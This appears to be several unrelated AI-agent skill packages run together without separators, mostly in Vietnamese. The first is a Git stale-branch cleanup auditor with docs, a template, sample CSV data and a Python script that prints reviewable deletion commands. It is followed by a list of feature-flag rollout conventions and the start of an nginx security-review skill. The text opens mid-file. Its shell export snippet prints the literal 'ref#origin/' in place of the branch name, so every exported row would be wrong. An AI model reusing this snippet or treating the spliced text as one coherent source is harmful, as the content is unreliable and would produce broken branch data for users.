`<type>/<short-kebab-description>` với mã ticket tùy chọn: `feature/cart-coupons`, `fix/1423-vat-rounding`, `chore/bump-node-22`. Các loại được phép mặc định: feature, feat, fix, bugfix, hotfix, release, chore, docs, refactor, test, ci, perf, build, deps, dependabot, renovate, experiment, spike. Ghi đè bằng `--prefixes`.
## Giữ kho lưu trữ sạch sẽ sau đó
- Bật tùy chọn "Automatically delete head branches" (GitHub) hoặc "Delete source branch" (GitLab) khi gộp.
- Chỉ bảo vệ những nhánh thực sự cần thiết, bằng các mẫu (pattern).
- Chạy kiểm toán hàng tháng; hầu hết các nhóm ổn định ở mức 90 ngày cũ và 30 ngày cần hỏi.
- Các bot (dependabot, renovate) sẽ tự tạo lại nhánh của chúng; hãy giữ cho các PR của chúng được xử lý liên tục thay vì xóa nhánh.
FILE:references/exporting-branch-data.md
# Xuất dữ liệu nhánh
## Tùy chọn A: để kịch bản đọc bản clone
```
git fetch --prune origin
python3 scripts/branch_audit.py --repo . --remote origin --base main
```
Kịch bản sẽ chạy `git for-each-ref`, `git branch -r --merged origin/main` và `git rev-list --left-right --count origin/main...origin/<branch>` cho mọi nhánh. Các kho lưu trữ lớn với hàng nghìn nhánh sẽ mất khoảng một phút.
## Tùy chọn B: tự tạo tệp TSV (hoặc CSV)
Các cột (phân tách bằng tab hoặc dấu phẩy, bắt buộc có dòng tiêu đề; ký tự phân tách được phát hiện từ dòng tiêu đề): `branch last_commit author ahead behind merged pr`
```
base=origin/main
printf 'branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\n' > branches.tsv
git branch -r --merged "$base" | sed 's/^ *//' > /tmp/merged.txt
git for-each-ref --format='%(refname:short)%09%(committerdate:short)%09%(authorname)' refs/remotes/origin |
while IFS="$(printf '\t')" read -r ref date author; do
case "$ref" in origin|origin/HEAD|"$base") continue;; esac
set -- $(git rev-list --left-right --count "$base...$ref")
merged=no; grep -qx "$ref" /tmp/merged.txt && merged=yes
printf '%s\t%s\t%s\t%s\t%s\t%s\tnone\n' "ref#origin/" "$date" "$author" "$2" "$1" "$merged" >> branches.tsv
done
```
`$1` là "behind" (các commit chỉ có trong nhánh cơ sở) và `$2` là "ahead" (các commit chỉ có trong nhánh đang xét).
## Trạng thái PR
GitHub CLI (`gh pr list` trả về các PR mới nhất trước; awk giữ lại dòng đầu tiên, tức là PR mới nhất, cho mỗi nhánh):
```
gh pr list --state all --limit 1000 --json headRefName,state \
-q '.[] | [.headRefName, (.state|ascii_downcase)] | @tsv' | awk -F'\t' '!seen[$1]++' > prs.tsv
python3 scripts/branch_audit.py --repo . --prs prs.tsv
```
Các trạng thái trên GitHub ánh xạ thành open, merged, closed. GitLab: `glab mr list --all` hoặc API `GET /projects/:id/merge_requests?state=all` (`source_branch`, `state`: opened -> open, merged, closed).
Đối với tệp TSV hoặc CSV, hãy đặt trạng thái vào cột `pr` (open, merged, closed hoặc none).
## Các ngưỡng
| Tùy chọn | Mặc định | Ghi chú |
|---|---|---|
| `--stale-days` | 90 | Các nhánh chưa gộp không hoạt động vượt quá mức này sẽ được lưu trữ |
| `--ask-days` | 30 | Các nhánh chưa gộp không hoạt động vượt quá mức này cần câu trả lời từ chủ sở hữu |
| `--behind-limit` | 300 | Ngưỡng FAR_BEHIND tính bằng số commit |
| `--protect` | main,master,develop,trunk,gh-pages,release/*,hotfix/* | Các mẫu fnmatch, có phân biệt hoa thường |
| `--prefixes` | feature,fix,chore,... | Các tiền tố tên được phép đối với lỗi BAD_NAME |
| `--today` | today | Cố định ngày để tạo các báo cáo có thể lặp lại |
## Quyền riêng tư
Tên tác giả được lấy từ các commit. Chỉ chia sẻ danh sách theo từng chủ sở hữu trong nội bộ nhóm.
FILE:templates/cleanup-announcement.md
# Dọn dẹp nhánh trên <repository> - vui lòng kiểm tra trước <deadline date>
Chào cả nhóm,
Chúng ta hiện có <N> nhánh trên `<remote>`. Vào ngày <cleanup date>, chúng ta sẽ tiến hành dọn dẹp:
- **<n> nhánh đã gộp** sẽ bị xóa (các thay đổi của chúng đã có trong `<base>`).
- **<n> nhánh chưa gộp không hoạt động** (không có commit nào trong hơn <stale days> ngày) sẽ được lưu thành các thẻ `archive/<branch>` và sau đó bị xóa. Bạn có thể khôi phục bất kỳ nhánh nào trong số đó bằng lệnh `git push origin archive/<branch>:refs/heads/<branch>`.
- **<n> nhánh cần câu trả lời của bạn** (không có commit nào trong hơn <ask days> ngày): giữ lại, gộp, hay lưu trữ?
## Các nhánh của bạn
| Chủ sở hữu | Các nhánh | Cần bạn phản hồi |
|---|---|---|
| <name> | <branch, branch> | <giữ lại / lưu trữ / gộp trước thời hạn> |
## Vui lòng khắc phục
- <CASE_COLLISION: fix/search-timeout và fix/Search-Timeout - Lena, hãy xóa một nhánh ngay hôm nay>
- <PR_STALE: feature/checkout-redesign - Marco, hãy hoàn thiện, tách nhỏ hoặc đóng lại>
## Từ nay trở đi
- Tên nhánh: `<type>/<short-description>` (feature/, fix/, chore/, ...)
- Các nhánh đầu mút (head branch) sẽ tự động bị xóa sau khi gộp.
- Đợt kiểm toán này sẽ chạy vào thứ Hai đầu tiên của mỗi tháng.
Hãy phản hồi tại <channel/thread> nếu có nhánh nào bắt buộc phải giữ lại. Cảm ơn mọi người!
FILE:examples/webshop-branches.csv
branch,last_commit,author,ahead,behind,merged,pr
main,2026-10-23,Selin Kaya,0,0,yes,none
develop,2026-10-22,Selin Kaya,4,0,no,none
release/2.3,2025-11-12,Selin Kaya,2,611,no,none
release/2.8,2026-09-30,Selin Kaya,1,48,no,none
feature/cart-coupons,2026-10-20,Marco Rossi,12,6,no,open
feature/checkout-redesign,2026-04-02,Marco Rossi,134,742,no,open
feature/wishlist-sharing,2026-09-08,Aiko Tanaka,7,95,no,none
feature/gift-cards,2026-05-19,Aiko Tanaka,23,401,no,closed
fix/vat-rounding,2026-10-02,Lena Fischer,3,22,yes,merged
fix/search-timeout,2026-08-14,Lena Fischer,5,130,no,merged
fix/Search-Timeout,2026-08-13,Lena Fischer,1,131,no,none
chore/bump-node-22,2026-07-01,Omar Haddad,0,210,no,none
spike/graphql-gateway,2026-02-10,Omar Haddad,58,988,no,none
johns-test,2026-06-21,John Miller,2,260,no,none
dependabot/npm_and_yarn/axios-1.7.4,2026-10-18,dependabot[bot],1,9,no,open
experiment/ab-banner,2026-10-12,Aiko Tanaka,4,14,no,none
FILE:scripts/branch_audit.py
#!/usr/bin/env python3
"""Stale Git branch cleanup auditor (Python 3 standard library only).
Sorts every remote branch into an action, flags risky branches and prints a reviewable
cleanup script. Nothing is deleted: the script only prints commands.
Input, either:
1. a TSV or CSV export (header required, delimiter detected from the header, extra columns ignored):
branch last_commit author ahead behind merged pr
last_commit = YYYY-MM-DD, ahead/behind = commits vs the base branch,
merged = yes/no (reachable from base), pr = open | merged | closed | none
2. --repo PATH: reads the remote branches straight from a local clone with git
(run `git fetch --prune` first). PR state comes from --prs FILE (lines "branch<TAB>state",
e.g. from `gh pr list --state all --json headRefName,state`), otherwise "none".
Actions (first match wins):
KEEP_PROTECTED name matches --protect patterns (main, master, develop, release/*, ...)
DELETE_MERGED merged into base, 0 commits ahead, or its PR was merged (squash/rebase)
KEEP_OPEN_PR has an open pull request
ARCHIVE_AND_DELETE unmerged and no commit for >= --stale-days (tag archive/<name>, then delete)
ASK_OWNER unmerged and no commit for >= --ask-days
KEEP_ACTIVE recent unmerged work
Findings (severity):
HIGH CASE_COLLISION branch names that differ only by case (break on macOS/Windows clones)
MEDIUM PR_STALE open PR whose branch has had no commit for >= --stale-days
MEDIUM FAR_BEHIND unmerged branch more than --behind-limit commits behind base
LOW LONG_LIVED unmerged branch more than 50 commits ahead and older than --ask-days
LOW OLD_PROTECTED protected release/hotfix branch older than --stale-days (tag it, unprotect, delete)
LOW BAD_NAME name without an allowed prefix, or with uppercase/space characters
Usage:
python3 branch_audit.py branches.csv --today 2026-10-24
python3 branch_audit.py --repo . --base main --prs prs.tsv
python3 branch_audit.py branches.tsv --json
python3 branch_audit.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import fnmatch
import json
import shlex
import subprocess
import sys
DEFAULT_PROTECT = "main,master,develop,trunk,gh-pages,release/*,hotfix/*"
DEFAULT_PREFIXES = "feature,feat,fix,bugfix,hotfix,release,chore,docs,refactor,test,ci,perf,build,deps,dependabot,renovate,experiment,spike"
ACTION_ORDER = ["DELETE_MERGED", "ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE", "KEEP_PROTECTED"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def yes(v):
return str(v).strip().lower() in ("yes", "y", "true", "1")
def parse_tsv(text):
lines = text.splitlines()
delim = "\t" if lines and "\t" in lines[0] else ","
rows = list(csv.DictReader(lines, delimiter=delim))
need = {"branch", "last_commit", "author", "ahead", "behind", "merged"}
if not rows:
raise DataError("no branches in input")
missing = need - set(rows[0].keys())
if missing:
raise DataError("missing columns: " + ", ".join(sorted(missing)))
out = []
for i, r in enumerate(rows, 2):
try:
out.append({"branch": r["branch"].strip(), "last_commit": dt.date.fromisoformat(r["last_commit"].strip()[:10]),
"author": r["author"].strip() or "unknown", "ahead": int(r["ahead"]), "behind": int(r["behind"]),
"merged": yes(r["merged"]), "pr": (r.get("pr") or "none").strip().lower() or "none"})
except (ValueError, TypeError) as e:
raise DataError(f"line {i}: {e}")
return out
def git(repo, *args):
r = subprocess.run(["git", "-C", repo, *args], capture_output=True, text=True)
if r.returncode != 0:
raise DataError(f"git {' '.join(args)}: {r.stderr.strip()}")
return r.stdout
def read_repo(repo, remote, base, prs):
base_ref = f"{remote}/{base}"
git(repo, "rev-parse", "--verify", base_ref)
merged = {l.strip() for l in git(repo, "branch", "-r", "--merged", base_ref).splitlines()}
out = []
fmt = "%(refname:short)%09%(committerdate:short)%09%(authorname)"
for line in git(repo, "for-each-ref", f"--format={fmt}", f"refs/remotes/{remote}").splitlines():
ref, date, author = line.split("\t")
if ref in (remote, f"{remote}/HEAD") or ref == base_ref:
continue
behind, ahead = git(repo, "rev-list", "--left-right", "--count", f"{base_ref}...{ref}").split()
name = ref[len(remote) + 1:]
out.append({"branch": name, "last_commit": dt.date.fromisoformat(date), "author": author,
"ahead": int(ahead), "behind": int(behind), "merged": ref in merged, "pr": prs.get(name, "none")})
return out
def audit(branches, today, base="main", remote="origin", stale_days=90, ask_days=30, behind_limit=300,
protect=DEFAULT_PROTECT, prefixes=DEFAULT_PREFIXES):
protect_pats = [p.strip() for p in protect.split(",") if p.strip()]
allowed = {p.strip() for p in prefixes.split(",") if p.strip()}
findings, rows = [], []
def add(sev, code, branch, msg):
findings.append({"severity": sev, "code": code, "branch": branch, "message": msg})
for b in branches:
name, age = b["branch"], (today - b["last_commit"]).days
prot = name == base or any(fnmatch.fnmatchcase(name, p) for p in protect_pats)
if prot:
action = "KEEP_PROTECTED"
elif b["merged"] or b["ahead"] == 0 or b["pr"] == "merged":
action = "DELETE_MERGED"
elif b["pr"] == "open":
action = "KEEP_OPEN_PR"
elif age >= stale_days:
action = "ARCHIVE_AND_DELETE"
elif age >= ask_days:
action = "ASK_OWNER"
else:
action = "KEEP_ACTIVE"
why = {"KEEP_PROTECTED": "protected pattern",
"DELETE_MERGED": "merged into " + base if b["merged"] else ("no commits ahead" if b["ahead"] == 0 else "PR merged (squash/rebase)"),
"KEEP_OPEN_PR": "open pull request", "ARCHIVE_AND_DELETE": f"unmerged, idle {age} days",
"ASK_OWNER": f"unmerged, idle {age} days", "KEEP_ACTIVE": f"active {age} days ago"}[action]
rows.append({**b, "last_commit": b["last_commit"].isoformat(), "age_days": age, "action": action, "reason": why})
unmerged = action in ("ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE")
if action == "KEEP_OPEN_PR" and age >= stale_days:
add("MEDIUM", "PR_STALE", name, f"open PR but no commit for {age} days; ask {b['author']} to finish or close it")
if unmerged and b["behind"] > behind_limit:
add("MEDIUM", "FAR_BEHIND", name, f"{b['behind']} commits behind {base}; rebase soon or expect painful conflicts")
if unmerged and b["ahead"] > 50 and age >= ask_days:
add("LOW", "LONG_LIVED", name, f"{b['ahead']} unmerged commits; split into smaller PRs or put it behind a feature flag")
if prot and name != base and age >= stale_days and (name.startswith("release/") or name.startswith("hotfix/")):
add("LOW", "OLD_PROTECTED", name, f"protected branch idle {age} days; tag it, remove protection and delete")
if not prot:
prefix = name.split("/", 1)[0] if "/" in name else ""
if prefix not in allowed or name != name.lower() or " " in name:
add("LOW", "BAD_NAME", name, "use lowercase <type>/<short-description> (e.g. feature/cart-coupons)")
seen = {}
for b in branches:
seen.setdefault(b["branch"].lower(), []).append(b["branch"])
for names in seen.values():
if len(names) > 1:
add("HIGH", "CASE_COLLISION", " / ".join(names), "names differ only by case; clones on macOS/Windows see one ref and fetches fail; delete or rename one")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["code"], f["branch"]))
rows.sort(key=lambda r: (ACTION_ORDER.index(r["action"]), -r["age_days"]))
counts = {a: sum(r["action"] == a for r in rows) for a in ACTION_ORDER}
owners = {}
for r in rows:
if r["action"] in ("ASK_OWNER", "ARCHIVE_AND_DELETE"):
owners.setdefault(r["author"], []).append(r["branch"])
script = ["#!/bin/sh", "# Review before running. Generated by branch_audit.py; nothing has been deleted.", "set -e"]
for r in rows:
q = shlex.quote(r["branch"])
if r["action"] == "DELETE_MERGED":
script.append(f"git push {remote} --delete {q} # {r['reason']}")
for r in rows:
if r["action"] == "ARCHIVE_AND_DELETE":
q = shlex.quote(r["branch"])
tag = shlex.quote("archive/" + r["branch"])
script.append(f"git tag {tag} {shlex.quote(remote + '/' + r['branch'])} && git push {remote} {shlex.quote('refs/tags/archive/' + r['branch'])} && git push {remote} --delete {q}")
return {"today": today.isoformat(), "base": base, "remote": remote, "stale_days": stale_days, "ask_days": ask_days,
"branches": len(rows), "counts": counts, "rows": rows, "owners": owners, "findings": findings,
"cleanup_script": "\n".join(script) + "\n"}
def render(r):
c = r["counts"]
out = [f"# Branch cleanup audit ({r['remote']}, base {r['base']}, as of {r['today']})", "",
f"{r['branches']} branches: {c['DELETE_MERGED']} delete (merged), {c['ARCHIVE_AND_DELETE']} archive and delete, "
f"{c['ASK_OWNER']} ask owner, {c['KEEP_OPEN_PR']} open PR, {c['KEEP_ACTIVE']} active, {c['KEEP_PROTECTED']} protected",
f"Rules: stale >= {r['stale_days']} days idle, ask owner >= {r['ask_days']} days", "",
"| Action | Branch | Last commit | Author | Ahead/behind | Reason |", "|---|---|---|---|---|---|"]
for row in r["rows"]:
out.append(f"| {row['action']} | {row['branch']} | {row['last_commit']} | {row['author']} | {row['ahead']}/{row['behind']} | {row['reason']} |")
out += ["", "## Ask the owners"]
if not r["owners"]:
out.append("- nobody")
for who, names in sorted(r["owners"].items()):
out.append(f"- {who}: {', '.join(names)}")
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']} {f['branch']}: {f['message']}")
out += ["", "## Cleanup script (review first, run after owners agree)", "```sh", r["cleanup_script"].rstrip(), "```"]
return "\n".join(out) + "\n"
def self_test():
tests, ok = [], 0
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
def b(name, days, ahead=3, behind=10, merged=False, pr="none", author="ana"):
return {"branch": name, "last_commit": today - dt.timedelta(days=days), "author": author,
"ahead": ahead, "behind": behind, "merged": merged, "pr": pr}
def act(**kw):
name = kw.pop("name", "feature/x")
days = kw.pop("days", 10)
return audit([b(name, days, **kw)], today)["rows"][0]["action"]
check("main protected", act(name="main", days=500) == "KEEP_PROTECTED")
check("release/* protected", act(name="release/2.4", days=200) == "KEEP_PROTECTED")
check("merged -> DELETE_MERGED", act(merged=True, days=5) == "DELETE_MERGED")
check("0 ahead -> DELETE_MERGED", act(ahead=0) == "DELETE_MERGED")
check("squash-merged PR -> DELETE_MERGED", act(pr="merged", ahead=4) == "DELETE_MERGED")
check("open PR kept", act(pr="open", days=200) == "KEEP_OPEN_PR")
check("idle 120 d unmerged -> ARCHIVE", act(days=120) == "ARCHIVE_AND_DELETE")
check("idle 45 d -> ASK_OWNER", act(days=45) == "ASK_OWNER")
check("idle 5 d -> KEEP_ACTIVE", act(days=5) == "KEEP_ACTIVE")
check("closed PR idle 100 d -> ARCHIVE", act(pr="closed", days=100) == "ARCHIVE_AND_DELETE")
def codes(rows, **kw):
return {f["code"] for f in audit(rows, today, **kw)["findings"]}
check("case collision HIGH", "CASE_COLLISION" in codes([b("feature/Login", 3), b("feature/login", 3)]))
check("stale PR MEDIUM", "PR_STALE" in codes([b("feature/a", 100, pr="open")]))
check("far behind MEDIUM", "FAR_BEHIND" in codes([b("feature/a", 10, behind=900)]))
check("merged far behind not flagged", "FAR_BEHIND" not in codes([b("feature/a", 10, behind=900, merged=True)]))
check("long lived LOW", "LONG_LIVED" in codes([b("feature/a", 40, ahead=80)]))
check("old release LOW", "OLD_PROTECTED" in codes([b("release/1.0", 400)]))
check("bad name LOW", "BAD_NAME" in codes([b("johns-test", 3)]) and "BAD_NAME" in codes([b("feature/NewThing", 3)]))
check("good name not flagged", "BAD_NAME" not in codes([b("fix/cart-total", 3)]))
r = audit([b("feature/old", 200), b("fix/done", 3, merged=True)], today)
check("script deletes merged branch", "git push origin --delete fix/done" in r["cleanup_script"])
check("script tags before deleting stale", "git tag archive/feature/old origin/feature/old && git push origin refs/tags/archive/feature/old && git push origin --delete feature/old" in r["cleanup_script"])
r = audit([b("main", 1, ahead=0, behind=0), b("feature/old", 200), b("develop", 300)], today)
check("script never deletes protected branches", "--delete main" not in r["cleanup_script"] and "--delete develop" not in r["cleanup_script"]
and r["cleanup_script"].rstrip().endswith("git push origin --delete feature/old"))
r = audit([b("feature/it's", 200)], today)
check("odd names are shell-quoted", "'feature/it'\"'\"'s'" in r["cleanup_script"])
r = audit([b("feature/a", 200, author="ana"), b("feature/b", 40, author="ana"), b("feature/c", 2, author="bo")], today)
check("owners grouped", r["owners"] == {"ana": ["feature/a", "feature/b"]})
rows = parse_tsv("branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\nfeature/x\t2026-10-01\tAna\t2\t5\tno\topen\n")
check("TSV parsed", rows[0]["ahead"] == 2 and rows[0]["pr"] == "open" and not rows[0]["merged"])
rows = parse_tsv("branch,last_commit,author,ahead,behind,merged,pr\nfix/y,2026-09-01,Bo,0,3,yes,none\n")
check("CSV parsed", rows[0]["branch"] == "fix/y" and rows[0]["merged"] and rows[0]["behind"] == 3)
try:
parse_tsv("branch\tauthor\nx\ty\n")
check("missing columns rejected", False)
except DataError:
check("missing columns rejected", True)
# real git repository round trip (skipped if git is missing)
import os, shutil, tempfile
if shutil.which("git"):
d = tempfile.mkdtemp()
try:
env = {**os.environ, "GIT_AUTHOR_NAME": "Ana", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "Ana", "GIT_COMMITTER_EMAIL": "a@x"}
run = lambda *a, cwd=d: subprocess.run(["git", *a], cwd=cwd, env=env, capture_output=True, check=True)
os.makedirs(f"{d}/remote.git"); run("init", "-q", "--bare", "-b", "main", cwd=f"{d}/remote.git")
run("clone", "-q", f"{d}/remote.git", "w"); w = f"{d}/w"
run("checkout", "-q", "-b", "main", cwd=w); run("commit", "-q", "--allow-empty", "-m", "init", cwd=w)
run("checkout", "-q", "-b", "fix/done", cwd=w); run("commit", "-q", "--allow-empty", "-m", "fix", cwd=w)
run("checkout", "-q", "main", cwd=w); run("merge", "-q", "--ff-only", "fix/done", cwd=w)
run("checkout", "-q", "-b", "feature/wip", cwd=w); run("commit", "-q", "--allow-empty", "-m", "wip", cwd=w)
run("push", "-q", "origin", "main", "fix/done", "feature/wip", cwd=w)
r = audit(read_repo(w, "origin", "main", {}), today)
acts = {x["branch"]: x["action"] for x in r["rows"]}
check("git repo: merged and active branches read", acts == {"fix/done": "DELETE_MERGED", "feature/wip": "KEEP_ACTIVE"})
finally:
shutil.rmtree(d, ignore_errors=True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Stale Git branch cleanup auditor")
ap.add_argument("tsv", nargs="?", help="branch TSV or CSV export")
ap.add_argument("--repo", help="read remote branches from this local clone instead of a TSV")
ap.add_argument("--prs", help="TSV 'branch<TAB>state' with PR states (open/merged/closed), used with --repo")
ap.add_argument("--remote", default="origin")
ap.add_argument("--base", default="main")
ap.add_argument("--today", help="YYYY-MM-DD (default: today)")
ap.add_argument("--stale-days", type=int, default=90)
ap.add_argument("--ask-days", type=int, default=30)
ap.add_argument("--behind-limit", type=int, default=300)
ap.add_argument("--protect", default=DEFAULT_PROTECT)
ap.add_argument("--prefixes", default=DEFAULT_PREFIXES)
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
try:
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
if a.repo:
prs = {}
if a.prs:
with open(a.prs, encoding="utf-8") as fh:
for line in fh:
if "\t" in line:
k, v = line.rstrip("\n").split("\t", 1)
prs[k] = v.strip().lower()
branches = read_repo(a.repo, a.remote, a.base, prs)
elif a.tsv:
with open(a.tsv, encoding="utf-8") as fh:
branches = parse_tsv(fh.read())
else:
ap.error("give a TSV/CSV file or --repo PATH")
r = audit(branches, today, a.base, a.remote, a.stale_days, a.ask_days, a.behind_limit, a.protect, a.prefixes)
except (OSError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="\n" if a.json else "")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Các quy ước mang tính định hướng rõ ràng để phát hành các thay đổi một cách an toàn bằng feature flag và triển khai tăng dần theo giai đoạn.
# Triển Khai Feature Flag taste của một kỹ sư phát hành (release engineer) - Tách biệt việc triển khai (deploy) khỏi việc phát hành (release): đẩy mã nguồn ở trạng thái ẩn phía sau một cờ (flag) và bật nó lên một cách độc lập với quá trình triển khai. Độ tin cậy: 0.95 - Sử dụng dịch vụ quản lý cờ chuyên dụng hoặc SDK tương thích với OpenFeature thay vì tự viết các câu lệnh if thủ công dựa trên biến môi trường. Độ tin cậy: 0.80 - Gán cho mỗi cờ một người phụ trách (owner), phần mô tả, phân loại (release, experiment, ops hoặc permission) và ngày dự kiến gỡ bỏ. Độ tin cậy: 0.90 - Đặt tên các cờ theo hành vi mà chúng kiểm soát, chẳng hạn như checkout-new-payment-form, chứ không đặt theo mã ticket hay tên người. Độ tin cậy: 0.85 - Mặc định mọi cờ về hành vi hiện tại, an toàn khi không thể kết nối tới dịch vụ quản lý cờ. Độ tin cậy: 0.95 - Đánh giá giá trị của các cờ một lần duy nhất cho mỗi yêu cầu (request) ngay tại điểm đầu của luồng thực thi mã nguồn và truyền kết quả xuống dưới, không đánh giá sâu bên trong các vòng lặp. Độ tin cậy: 0.80 - Triển khai tăng dần từng bước: người dùng nội bộ trước, sau đó đến 1%, 10%, 50% và 100%, đồng thời theo dõi các chỉ số đo lường ở từng bước. Độ tin cậy: 0.90 - Sử dụng cơ chế phân nhóm cố định dựa trên hàm băm (sticky, hash-based bucketing) theo ID người dùng hoặc ID tài khoản ổn định để người dùng không bị nhảy qua lại giữa các biến thể khác nhau. Độ tin cậy: 0.90 - Xác định rõ các chỉ số đánh giá thành công và chỉ số bảo vệ (guardrail metrics) trước khi bắt đầu triển khai, chứ không phải sau khi nhìn vào bảng điều khiển (dashboard). Độ tin cậy: 0.85 - Kết nối cơ chế tự động hoàn tác (rollback) với các cảnh báo về tỷ lệ lỗi và độ trễ đối với những thay đổi tiềm ẩn nhiều rủi ro. Độ tin cậy: 0.75 - Giữ một công tắc ngắt khẩn cấp (kill switch) cho mọi phụ thuộc bên ngoài hoặc tác vụ tốn kém tài nguyên để bộ phận vận hành có thể tắt ngay mà không cần triển khai lại mã nguồn. Độ tin cậy: 0.90 - Gỡ bỏ các cờ phát hành (release flags) trong vòng vài tuần sau khi đạt mức 100% và cho phép quy trình CI báo lỗi thất bại khi một cờ đã quá hạn ngày gỡ bỏ. Độ tin cậy: 0.80 - Kiểm thử cả hai luồng bật (on) và tắt (off) trong CI đối với mọi cờ đang hoạt động. Độ tin cậy: 0.85 - Tránh lồng các cờ bên trong những cờ khác; nếu hai cờ có tương tác với nhau, hãy gộp chúng lại hoặc viết tài liệu ghi rõ các tổ hợp kết hợp. Độ tin cậy: 0.80 - Ghi nhật ký (log) kết quả đánh giá cờ kèm theo biến thể (variant) vào trong các dấu vết (traces) để khi xảy ra sự cố có thể truy vết về một đợt triển khai cụ thể. Độ tin cậy: 0.80 - Giới hạn quyền của những người có thể thay đổi các cờ trên môi trường production và lưu nhật ký kiểm toán (audit log) cho mọi thay đổi kèm theo lý do. Độ tin cậy: 0.85 - Tuyệt đối không sử dụng feature flag để thay thế cho các bước kiểm tra phân quyền (authorization checks). Độ tin cậy: 0.90 - Thông báo các đợt triển khai lớn trong một kênh chung kèm theo tên cờ, kế hoạch triển khai và các bước hoàn tác (rollback). Độ tin cậy: 0.70 - Giữ các cờ phân quyền (permission) và cờ vận hành (ops) tồn tại lâu dài trong một danh sách riêng biệt để chúng không bị nhầm lẫn với các cờ phát hành đã cũ. Độ tin cậy: 0.75 - Thực hiện một buổi đánh giá ngắn sau mỗi đợt triển khai lớn và ghi nhận lại những chỉ số nào đã thực sự phát hiện ra vấn đề. Độ tin cậy: 0.65
Rà soát tệp nginx.conf và cấu hình các trang web để phát hiện các vấn đề bảo mật như TLS 1.0/1.1, bộ mã hóa (cipher) yếu, thiếu HSTS và các tiêu đề bảo mật (security headers), bẫy kế thừa add_header, lỗi duyệt đường dẫn (path traversal) do lệch dấu gạch chéo trong alias, autoindex, kích thước phần thân yêu cầu (body size) không giới hạn, biến $uri trong chuyển hướng, HTTP không chuyển hướng sang HTTPS, các đường dẫn quản trị bỏ ngỏ và trang đăng nhập không giới hạn tần suất (rate limit). Cung cấp bản cấu hình đã sửa lỗi. Bao gồm công cụ kiểm tra viết bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: nginx-config-security-reviewer
description: Rà soát tệp nginx.conf và cấu hình các trang web để phát hiện các vấn đề bảo mật như TLS 1.0/1.1, bộ mã hóa (cipher) yếu, thiếu HSTS và các tiêu đề bảo mật (security headers), bẫy kế thừa add_header, lỗi duyệt đường dẫn (path traversal) do lệch dấu gạch chéo trong alias, autoindex, kích thước phần thân yêu cầu (body size) không giới hạn, biến $uri trong chuyển hướng, HTTP không chuyển hướng sang HTTPS, các đường dẫn quản trị bỏ ngỏ và trang đăng nhập không giới hạn tần suất (rate limit). Cung cấp bản cấu hình đã sửa lỗi. Bao gồm công cụ kiểm tra viết bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Trình Rà Soát Bảo Mật Cấu Hình Nginx
Bạn rà soát các cấu hình nginx theo đúng cách mà một kỹ sư vận hành (ops engineer) cẩn trọng sẽ làm trước một đợt kiểm toán bảo mật: tìm ra các thiết lập làm lộ dữ liệu hoặc làm suy yếu TLS, giải thích từng vấn đề bằng ngôn từ dễ hiểu, và bàn giao lại một bản cấu hình đã được sửa lỗi nhưng vẫn phục vụ nguyên vẹn các tuyến (routes) như cũ. Bạn tuyệt đối không phỏng đoán về những tệp mà mình chưa được xem, và không bao giờ bảo người dùng nạp lại (reload) cấu hình mà không chạy `nginx -t` trước.
## Các tệp trong kỹ năng này
- `scripts/nginx_review.py` - phân tích cú pháp các tệp cấu hình nginx thành từng khối (blocks) và in ra các phát hiện kèm theo mức độ nghiêm trọng, số dòng và cách khắc phục (chỉ dùng thư viện chuẩn Python 3)
- `references/hardening-checklist.md` - mọi mục kiểm tra mà kịch bản thực thi, lý do tại sao nó quan trọng và cách khắc phục, cộng thêm các mục cần kiểm tra thủ công
- `references/tls-and-headers.md` - thiết lập giao thức TLS và bộ mã hóa (ciphers), lộ trình triển khai HSTS, các tiêu đề bảo mật và cơ chế hoạt động của tính kế thừa `add_header`
- `templates/review-report.md` - bản báo cáo bạn bàn giao lại: tóm tắt, bảng phát hiện lỗi, phần so sánh khác biệt (diff) của cấu hình, các câu lệnh kiểm tra
- `examples/shop-site.conf` - một cấu hình cửa hàng nhỏ từ năm 2019 với 18 phát hiện lỗi (3 lỗi mức HIGH)
- `examples/shop-site-fixed.conf` - cùng trang web đó sau khi đã áp dụng các bản sửa lỗi (không còn phát hiện lỗi nào ngoại trừ ghi chú về lệnh include)
## Quy trình làm việc
### 1. Thu thập toàn bộ cấu hình
Yêu cầu kết quả đầu ra của lệnh `sudo nginx -T` (lệnh này in ra tệp cấu hình chính và mọi tệp được đính kèm qua lệnh include), hoặc yêu cầu tệp nginx.conf cộng với các tệp liên quan trong thư mục sites-enabled. Hỏi xem trang web đó làm gì (phục vụ tệp tĩnh, reverse proxy, PHP), những đường dẫn nào bắt buộc phải giữ công khai, phiên bản nginx (`nginx -v`) và liệu có CDN hay bộ cân bằng tải (load balancer) nào đứng trước xử lý chấm dứt TLS (terminate TLS) hay không. Nhắc người dùng xóa các khóa bí mật (private keys) hoặc thông tin nhạy cảm (secrets) trước khi dán nội dung vào; giữ nguyên đường dẫn chứng chỉ thì không sao.
### 2. Chạy công cụ kiểm tra
```
python3 scripts/nginx_review.py examples/shop-site.conf
python3 scripts/nginx_review.py /etc/nginx/nginx.conf /etc/nginx/sites-enabled/shop --json
python3 scripts/nginx_review.py --self-test
```
